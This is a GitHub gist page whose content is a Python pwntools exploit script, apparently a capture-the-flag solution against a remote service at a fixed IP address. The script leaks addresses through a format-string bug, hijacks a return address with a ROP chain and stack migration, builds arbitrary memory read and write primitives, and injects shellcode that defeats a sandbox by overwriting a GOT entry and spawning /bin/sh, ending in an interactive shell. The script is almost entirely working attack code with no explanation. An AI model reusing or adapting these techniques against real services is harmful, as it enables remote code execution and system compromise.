-
-
Save seanwupi/713023672c42aa62ca9e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * # pip install pwntools | |
context(arch='amd64') | |
r = remote('202.112.26.107', 10910) | |
# follow 'login.py' first | |
r.recvuntil('Login: ') | |
r.send('guest\n') | |
r.recvuntil('Password: ') | |
r.send('guest123\n') | |
r.recvuntil('Your choice: ') | |
r.send('2\n') | |
r.recvuntil('Enter your new username:\n') | |
r.send('A'*256 + '\n') | |
r.recvuntil('Your choice: ') | |
r.send('4\n') | |
r.recvuntil('Login: ') | |
r.send('%lx %48$lx '+ '\n') | |
r.recvuntil('Password: ') | |
r.send('\n') | |
tt = r.recvuntil('login failed.').split() | |
code_base = int(tt[0], 16) - 0x1490 | |
print 'code_base =', hex(code_base) | |
buf = int(tt[1], 16) - 528 | |
retaddr = buf - 24 | |
print 'stack_buf =', hex(buf) | |
pop5_ret = 0x135B + code_base | |
pop_rbp_ret = 0xFB1 + code_base | |
pop_rdi_ret = 0x1363 + code_base | |
pop_rsi_r15_ret = 0x1361 + code_base | |
leave_ret = 0x1242 + code_base | |
read = 0xAD0 + code_base | |
write = 0xB80 + code_base | |
exit = 0x201F48 + code_base | |
buf1 = 0x202800 + code_base | |
buf2 = 0x202C00 + code_base | |
# not only call show_flag() | |
# but migrate stack for ROP chain ( buf1 <-> buf2 ) | |
# 0x135A & 0x1340 are gadgets for controling rdi, rsi, rdx | |
fs = ('%%%dc%%10$hn' % (pop5_ret&0xffff)).ljust(16) + p64(retaddr) + ( | |
p64(code_base + 0x135A) + p64(0) + p64(0) + p64(buf + 8*11) + p64(0x10000) + p64(buf1) + p64(0) + | |
p64(code_base + 0x1340) + p64(code_base + 0x1360) + p64(read) + | |
p64(pop_rbp_ret) + p64(buf1-8) + p64(leave_ret) | |
) | |
r.recvuntil('Login: ') | |
r.send(fs + '\n') | |
r.recvuntil('Password: ') | |
r.send('\n') | |
r.recvrepeat(1) | |
# read mem | |
def rread(addr, ln): | |
global buf1, buf2 | |
buf1, buf2 = buf2, buf1 | |
r.send( | |
p64(code_base + 0x135A) + p64(0) + p64(0) + p64(buf2 + 8*8) + p64(ln) + p64(addr) + p64(1) + | |
p64(code_base + 0x1340) + p64(code_base + 0x1360) + p64(write) + | |
p64(code_base + 0x135A) + p64(0) + p64(0) + p64(buf2 + 8*8) + p64(0x10000) + p64(buf1) + p64(0) + | |
p64(code_base + 0x1340) + p64(code_base + 0x1360) + p64(read) + | |
p64(pop_rbp_ret) + p64(buf1-8) + p64(leave_ret) | |
) | |
return r.recvn(ln) | |
# read mem | |
def rwrite(addr, data): | |
global buf1, buf2 | |
buf1, buf2 = buf2, buf1 | |
r.send( | |
p64(code_base + 0x135A) + p64(0) + p64(0) + p64(buf2 + 8*8) + p64(len(data)) + p64(addr) + p64(0) + | |
p64(code_base + 0x1340) + p64(code_base + 0x1360) + p64(read) + | |
p64(code_base + 0x135A) + p64(0) + p64(0) + p64(buf2 + 8*8) + p64(0x10000) + p64(buf1) + p64(0) + | |
p64(code_base + 0x1340) + p64(code_base + 0x1360) + p64(read) + | |
p64(pop_rbp_ret) + p64(buf1-8) + p64(leave_ret) | |
) | |
sleep(1) | |
r.send(data) | |
# Interactive leak or write. For debugging and previous memory dumping | |
def ileak(): | |
while True: | |
cmd, addr, d = raw_input().split() | |
if cmd=='w': | |
x = rread(eval(addr), eval(d)) | |
print repr(x) | |
print enhex(x) | |
elif cmd=='r': | |
rwrite(eval(addr), eval(d)) | |
else: | |
break | |
# Find an executable page | |
xbuf = code_base - 0x3800 | |
# shellcode: overwrite exit@got.plt in sandbox.so (+0xa4e440) | |
# and then trigger it by any illegal syscall | |
sh = asm(''' | |
section .text | |
global _start | |
%define sandbox rsp | |
%define libc rsp+8 | |
%define code rsp+16 | |
_start: | |
sub rbp, 0x1000 | |
mov rsp, rbp | |
sub rsp, 0x1000 | |
push rbx | |
lea rax, [rbx-0x1233000] | |
push rax | |
lea rax, [rbx-0x1ca5000] | |
push rax | |
mov rax, [sandbox] | |
lea rax, [rax+0xA4E440] | |
jmp C1 | |
rC1: | |
pop rbx | |
mov QWORD [rax], rbx | |
mov rax, 59 | |
syscall | |
C1: | |
call rC1 | |
jmp D1 | |
rD1: | |
pop rdi | |
lea rsi, [rdi+8] | |
lea rdx, [rdi+16] | |
mov [rsi], rdi | |
mov QWORD [rdx], 0 | |
mov rax, 59 | |
syscall | |
D1: | |
call rD1 | |
db '/bin/sh', 0 | |
''') | |
rwrite(xbuf, sh) # send shellcode to the executable buffer | |
r.send( # pass args to shellcode: rbx rbp r12 r13 r14 r15 | |
p64(code_base + 0x135A) + p64(code_base) + p64(retaddr) + p64(0) + p64(0) + p64(0) + p64(0) + | |
p64(xbuf)) | |
r.interactive() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment